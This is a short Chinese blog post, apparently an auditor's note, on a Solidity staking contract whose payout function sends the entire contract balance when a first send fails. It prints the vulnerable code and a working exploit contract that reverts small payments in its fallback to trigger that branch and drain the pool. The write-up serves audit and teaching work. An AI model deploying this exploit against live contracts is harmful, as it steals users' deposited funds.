记审计过程遇到的奇葩转账

先看看源代码:

    function InStake() external payable{      
        uint256 MBNBPrice = 0;
        //当代币余额和合约中的eth都大于零,更新MBNB的价格
        if(this.totalSupply() > 0 && (address(this).balance).mul(10**18) > 0){
            MBNBPrice = (((address(this).balance).sub(msg.value)).mul(10**18))/this.totalSupply();
        }         
        uint256 payMBNB = 0;
        //当代币余额等于零,或者当前的MBNBPrice价格为零
        if(this.totalSupply() == 0 || MBNBPrice == 0){
            payMBNB = msg.value/minimumMBNBPrice;//计算可以购买的MBNB
        }else{
            payMBNB = msg.value/MBNBPrice;//当代币有余额和MBNBPrice有价格
        }
        if(payMBNB>0){
            payMBNB = payMBNB.mul(10**18);
        }
        _mint(msg.sender, payMBNB);
        // emit Withdraw(msg.sender, amount, burn);
    }

    function OutStake(uint256 MBNBAmount) external {
        require(MBNBAmount <= balanceOf(msg.sender), "Pool: Insufficient MBNB");      
        uint256 MBNBPrice = 0;
        if(this.totalSupply() > 0 && (address(this).balance).mul(10**18) > 0){
            MBNBPrice = (address(this).balance).mul(10**18)/this.totalSupply();
        }        
        uint256 payBNB = 0;
        if(this.totalSupply() == 0 || MBNBPrice == 0){
            payBNB = MBNBAmount * minimumMBNBPrice;
        }else{
            payBNB = MBNBAmount * MBNBPrice;
        }        
        if(payBNB>0){
            payBNB = payBNB.div(10**18);
        }        
        _burn(msg.sender, MBNBAmount);//销毁代币
        sendBNBDividends(msg.sender,payBNB);//发送eth
    }
    
    function sendBNBDividends(address receiver,uint amount ) private {
            if (!address(uint160(receiver)).send(amount)) {
                return address(uint160(receiver)).transfer(address(this).balance);
            }
    }  

在代码转账中先通过send去转账,如果不成功,则使用transfer把合约中的余额转给用户。我们知道合约可以写fallback来拒绝第一次转账,从而掏空合约中的余额。

exp:

 1 pragma solidity ^0.6.0;
 2 
 3 interface POOL{
 4     function InStake() external payable;
 5     function OutStake(uint256 MBNBAmount) external;
 6     function balanceOf(address account) external view returns (uint256);
 7 }
 8 contract exp{
 9     POOL pool;
10     constructor(address _address)public{
11         pool = POOL(_address); 
12     }
13     function hack() public payable{
14         address(pool).call{value:0.1 ether}(abi.encodePacked(bytes4(keccak256("InStake()"))));
15         pool.OutStake(pool.balanceOf(address(this)));
16         msg.sender.transfer(address(this).balance);
17     }
18 
19     fallback()payable external{
20        if(msg.value <= 1 ether){
21            revert();
22        }
23     }
24     function getBalance() public view returns (uint256) {
25         return address(this).balance;
26     }
27 }

 

posted @ 2021-09-17 09:55  Deft_hacker  阅读(135)  评论(0)    收藏  举报